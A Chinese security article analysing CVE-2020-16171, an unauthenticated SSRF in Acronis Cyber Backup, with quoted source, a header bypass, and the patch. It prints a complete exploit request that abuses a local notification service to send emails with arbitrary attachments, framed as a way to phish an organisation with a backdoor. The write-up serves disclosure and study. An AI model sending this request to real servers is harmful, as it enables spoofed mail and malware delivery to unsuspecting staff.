freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2020-16171:Acronis Cyber Backup中的SSRF漏洞分析
2020-09-22 21:38:47

写在前面的话

在这篇文章中,我们将跟大家介绍一个存在于Acronis Cyber Backup(受影响版本为v12.5 Build 16341及其之前版本)中的未经认证的SSRF漏洞,该漏洞将允许攻击者利用绑定到localhost的Web服务来向任意目标用户发送自定义的电子邮件。这个漏洞的有趣之处就在于,攻击者将能够利用该漏洞将自定义的电子邮件作为备份标识符来发送,其中也能包含完全自定义的附件。大家可以想象一下,如果我们能够向整个组织发送一个Acronis“备份失败”的邮件,并在其中嵌入一个后门,会发生什么?

漏洞成因分析

Acronis Cyber Backup本质上是一个数据备份解决方案,它可以为系统管理员提供一种强大的方法来自动备份所有接入的系统,比如说客户端以及服务器等等。解决方案本身就由数十个内部连接的Web服务以及功能组件组成。因此,这个解决方案本质上就是一个由不同C/C++、Go和Python应用程序以及代码库组成的解决方案。

应用程序的主Web服务运行在端口9877上,运行之后将显示一个登录界面:

毫无疑问,每一个攻击者的目标都是想要去找到一些在未经身份认证的情况下就能发现的敏感数据。因此,我们需要对主Web服务的源码进行分析。实际上,我在短时间内就发现了一个名叫make_request_to_ams的方法:

# WebServer/wcs/web/temp_ams_proxy.py:

 

def make_request_to_ams(resource, method, data=None):

    port = config.CONFIG.get('default_ams_port', '9892')

    uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)

[...]

这里最有意思的就是这个针对get_ams_address(request.headers)的调用,它主要用来构建URI。在这里,应用程序将读取该方法中一个名叫Shard的特定请求Header:

def get_ams_address(headers):

    if 'Shard' in headers:

        logging.debug('Get_ams_address address from shard ams_host=%s', headers.get('Shard'))

        return headers.get('Shard')  # Mobile agent >= ABC5.0

深入分析make_request_to_ams调用后,我们发现应用程序会调用urllib.request.urlopen并读取Shard头中的值:

def make_request_to_ams(resource, method, data=None):

[...]

    logging.debug('Making request to AMS %s %s', method, uri)

    headers = dict(request.headers)

    del headers['Content-Length']

    if not data is None:

        headers['Content-Type'] = 'application/json'

    req = urllib.request.Request(uri,

                                 headers=headers,

                                 method=method,

                                 data=data)

    resp = None

    try:

        resp = urllib.request.urlopen(req, timeout=wcs.web.session.DEFAULT_REQUEST_TIMEOUT)

    except Exception as e:

        logging.error('Cannot access ams {} {}, error: {}'.format(method, resource, e))

    return resp

这样看来,这很明显就是一个SSRF漏洞了,而且这里还有几个因素让这个SSRF漏洞变得更加严重:

request.Request类的初始化使用的全部都是原始的请求Header,请求中的HTTP方法,以及整个请求主体。

将返回完整的响应信息。

在这里,唯一需要绕过的就是目的URI的硬编码构造了,因为API会向请求的URI附加分号、端口和其他资源:

uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)

不过别担心,这个很容易绕过,因为我们只需要添加一个“?”来将它们转换为参数即可。最终针对Shard头的Payload如下:

Shard: localhost?

寻找未认证路径

为了利用这个SSRF漏洞,我们需要找到一个可以在未经认证的情况下访问的路径。虽然CyberBackup的大多数路径都只能通过身份验证才能访问,但这里有一个有趣的路径是/api/ams/agents,它就有点不一样了:

# WebServer/wcs/web/temp_ams_proxy.py:

_AMS_ADD_DEVICES_ROUTES = [

    (['POST'], '/api/ams/agents'),

] + AMS_PUBLIC_ROUTES

针对这个路径的所有请求都将被传递给route_add_devices_request_to_ams方法:

def setup_ams_routes(app):

[...]

    for methods, uri, *dummy in _AMS_ADD_DEVICES_ROUTES:

        app.add_url_rule(uri,

                         methods=methods,

                         view_func=_route_add_devices_request_to_ams)

[...]

这样一来,程序将只会在将请求传递给存在漏洞的_route_the_request_to_ams方法之前检查

allow_add_devices configuration是否已启用:

def _route_add_devices_request_to_ams(*dummy_args, **dummy_kwargs):

    if not config.CONFIG.get('allow_add_devices', True):

        raise exceptions.operation_forbidden_error('Add devices')

 

    return _route_the_request_to_ams(*dummy_args, **dummy_kwargs)

这样,我们就成功找到了一个未经认证的可攻击路径了。

发送包含了附件的自定义邮件

其中一个有意思的Web服务运行在localhost:30572上,即通知服务。这个服务能够提供各种方法来发送通知,其中一个节点就是/external_email/:

@route(r'^/external_email/?')

class ExternalEmailHandler(RESTHandler):

    @schematic_request(input=ExternalEmailValidator(), deserialize=True)

    async def post(self):

        try:

            error = await send_external_email(

                self.json['tenantId'], self.json['eventLevel'], self.json['template'], self.json['parameters'],

                self.json.get('images', {}), self.json.get('attachments', {}), self.json.get('mainRecipients', []),

                self.json.get('additionalRecipients', [])

            )

            if error:

                raise HTTPError(http.BAD_REQUEST, reason=error.replace('\n', ''))

        except RuntimeError as e:

            raise HTTPError(http.BAD_REQUEST, reason=str(e))

这里我们就不去详细分析send_external_email方法了,因为它确实有点复杂,但是这个节点使用的参数是通过HTTP POST方法来提供的,并使用这些内容来构建之后需要发送的电子邮件。

最终的漏洞利用代码如下:

POST /api/ams/agents HTTP/1.1

Host: 10.211.55.10:9877

Shard: localhost:30572/external_email?

Connection: close

Content-Length: 719

Content-Type: application/json;charset=UTF-8

 

{"tenantId":"00000000-0000-0000-0000-000000000000",

"template":"true_image_backup",

"parameters":{

"what_to_backup":"what_to_backup",

"duration":2,

"timezone":1,

"start_time":1,

"finish_time":1,

"backup_size":1,

"quota_servers":1,

"usage_vms":1,

"quota_vms":1,"subject_status":"subject_status",

"machine_name":"machine_name",

"plan_name":"plan_name",

"subject_hierarchy_name":"subject_hierarchy_name",

"subject_login":"subject_login",

"ams_machine_name":"ams_machine_name",

"machine_name":"machine_name",

"status":"status","support_url":"support_url"

},

"images":{"test":"./critical-alert.png"},

"attachments":{"test.html":"PHU+U29tZSBtb3JlIGZ1biBoZXJlPC91Pg=="},

"mainRecipients":["info@somerandomemail.com"]}

其中包含了针对电子邮件的自定义配置,比如Base64编码的attachments值。发送这个POST请求将返回null:

但是最终将包含了attachments的邮件发送给mainRecipients之后,界面如下:

这就成功啦!

漏洞修复

Acronis在Acronis Cyber Backup v12.5 Build 16342版本中修复了这个漏洞,Acronis修改了get_ams_address获取实际Shard地址的方式,现在将需要额外的认证Header(带有JWT,传递给一个名为resolve_shard_address的方法)才可以访问获取。

# WebServer/wcs/web/temp_ams_proxy.py:

def get_ams_address(headers):

    if config.is_msp_environment():

        auth = headers.get('Authorization')

        _bearer_prefix = 'bearer '

        _bearer_prefix_len = len(_bearer_prefix)

        jwt = auth[_bearer_prefix_len:]

        tenant_id = headers.get('X-Apigw-Tenant-Id')

        logging.info('GET_AMS: tenant_id: {}, jwt: {}'.format(tenant_id, jwt))

        if tenant_id and jwt:

            return wcs.web.session.resolve_shard_address(jwt, tenant_id)

tenant_id和jwt的值在这里没有进行显式验证,但它们会在一个针对API节点/api/account_server/tenants/的新硬编码调用时被使用,并完成最终的授权验证:

# WebServer/wcs/web/session.py:

def resolve_shard_address(jwt, tenant_id):

    backup_account_server = config.CONFIG['default_backup_account_server']

    url = '{}/api/account_server/tenants/{}'.format(backup_account_server, tenant_id)

 

    headers = {

        'Authorization': 'Bearer {}'.format(jwt)

    }

 

    from wcs.web.proxy import make_request

    result = make_request(url,

                          logging.getLogger(),

                          method='GET',

                          headers=headers).json()

    kind = result['kind']

    if kind not in ['unit', 'customer']:

        raise exceptions.unsupported_tenant_kind(kind)

return result['ams_shard']

至此,问题已解决!

# 漏洞分析 # 漏洞利用 # 漏洞复现
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者